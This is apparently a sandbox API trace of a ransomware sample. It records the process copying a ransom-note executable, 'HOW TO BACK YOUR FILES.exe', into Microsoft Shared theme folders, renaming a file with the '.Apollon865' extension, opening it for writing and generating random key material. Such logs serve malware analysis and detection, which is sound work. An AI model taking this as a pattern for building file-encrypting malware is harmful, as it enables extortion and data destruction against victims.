	[0075.138] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE"
	[0075.138] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf678 | out: hHeap=0x580000) returned 1
	[0075.138] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0075.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE") returned 62
	[0075.139] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE"
	[0075.139] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.139] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.143] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44dbd1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44dbd1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.143] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="BREEZE.ELM" | out: lpString1="BREEZE.ELM") returned="BREEZE.ELM"
	[0075.143] lstrlenW (lpString="BREEZE.ELM") returned 10
	[0075.143] lstrlenW (lpString="Apollon865") returned 10
	[0075.143] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="BREEZE.INF" | out: lpString1="BREEZE.INF") returned="BREEZE.INF"
	[0075.143] lstrlenW (lpString="BREEZE.INF") returned 10
	[0075.143] lstrlenW (lpString="Apollon865") returned 10
	[0075.143] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.143] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.143] lstrlenW (lpString="Apollon865") returned 10
	[0075.143] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.143] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.143] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.143] lstrlenW (lpString="Apollon865") returned 10
	[0075.144] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.144] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI"
	[0075.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e08 | out: hHeap=0x580000) returned 1
	[0075.144] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0075.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI") returned 64
	[0075.144] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI"
	[0075.144] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.144] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.150] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44de3350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44de3350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.150] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="BOLDSTRI.ELM" | out: lpString1="BOLDSTRI.ELM") returned="BOLDSTRI.ELM"
	[0075.150] lstrlenW (lpString="BOLDSTRI.ELM") returned 12
	[0075.150] lstrlenW (lpString="Apollon865") returned 10
	[0075.150] lstrcmpiW (lpString1="LDSTRI.ELM", lpString2="Apollon865") returned 1
	[0075.150] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="BOLDSTRI.INF" | out: lpString1="BOLDSTRI.INF") returned="BOLDSTRI.INF"
	[0075.150] lstrlenW (lpString="BOLDSTRI.INF") returned 12
	[0075.150] lstrlenW (lpString="Apollon865") returned 10
	[0075.150] lstrcmpiW (lpString1="LDSTRI.INF", lpString2="Apollon865") returned 1
	[0075.150] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.151] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.151] lstrlenW (lpString="Apollon865") returned 10
	[0075.151] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.151] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.151] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.151] lstrlenW (lpString="Apollon865") returned 10
	[0075.151] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.151] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT"
	[0075.151] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8e98 | out: hHeap=0x580000) returned 1
	[0075.151] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0075.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT") returned 64
	[0075.151] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT"
	[0075.151] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.151] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.157] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44de3350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44de3350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.157] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="BLUEPRNT.ELM" | out: lpString1="BLUEPRNT.ELM") returned="BLUEPRNT.ELM"
	[0075.157] lstrlenW (lpString="BLUEPRNT.ELM") returned 12
	[0075.157] lstrlenW (lpString="Apollon865") returned 10
	[0075.157] lstrcmpiW (lpString1="UEPRNT.ELM", lpString2="Apollon865") returned 1
	[0075.158] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="BLUEPRNT.INF" | out: lpString1="BLUEPRNT.INF") returned="BLUEPRNT.INF"
	[0075.158] lstrlenW (lpString="BLUEPRNT.INF") returned 12
	[0075.158] lstrlenW (lpString="Apollon865") returned 10
	[0075.158] lstrcmpiW (lpString1="UEPRNT.INF", lpString2="Apollon865") returned 1
	[0075.158] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.158] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.158] lstrlenW (lpString="Apollon865") returned 10
	[0075.158] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.158] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.158] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.158] lstrlenW (lpString="Apollon865") returned 10
	[0075.158] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.158] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM"
	[0075.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0075.158] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0075.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM") returned 64
	[0075.158] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM"
	[0075.158] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.158] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.164] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44de3350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44de3350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.164] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="BLUECALM.ELM" | out: lpString1="BLUECALM.ELM") returned="BLUECALM.ELM"
	[0075.165] lstrlenW (lpString="BLUECALM.ELM") returned 12
	[0075.165] lstrlenW (lpString="Apollon865") returned 10
	[0075.165] lstrcmpiW (lpString1="UECALM.ELM", lpString2="Apollon865") returned 1
	[0075.165] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="BLUECALM.INF" | out: lpString1="BLUECALM.INF") returned="BLUECALM.INF"
	[0075.165] lstrlenW (lpString="BLUECALM.INF") returned 12
	[0075.165] lstrlenW (lpString="Apollon865") returned 10
	[0075.165] lstrcmpiW (lpString1="UECALM.INF", lpString2="Apollon865") returned 1
	[0075.165] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS"
	[0075.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0075.165] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0075.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS") returned 62
	[0075.165] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS"
	[0075.165] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.165] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.169] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44e094b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44e094b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.170] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS"
	[0075.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0075.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS") returned 60
	[0075.170] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS"
	[0075.170] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.170] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.174] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44e094b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44e094b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.174] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC"
	[0075.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0075.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0075.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC") returned 62
	[0075.174] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC"
	[0075.174] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.174] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.185] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44e2f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44e2f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.186] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44e2f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44e2f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.186] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON"
	[0075.186] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0075.186] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0075.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned 64
	[0075.186] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON"
	[0075.186] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.186] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.192] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.192] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44e2f610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44e2f610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.192] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv"
	[0075.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0075.192] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0075.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned 55
	[0075.192] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv"
	[0075.192] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.192] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.198] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x44e55770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44e55770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.198] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.Apollon865") returned 79
	[0075.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.apollon865"), dwFlags=0x1) returned 1
	[0075.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0075.199] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=36712) returned 1
	[0075.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0075.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0075.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.200] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.201] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.201] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
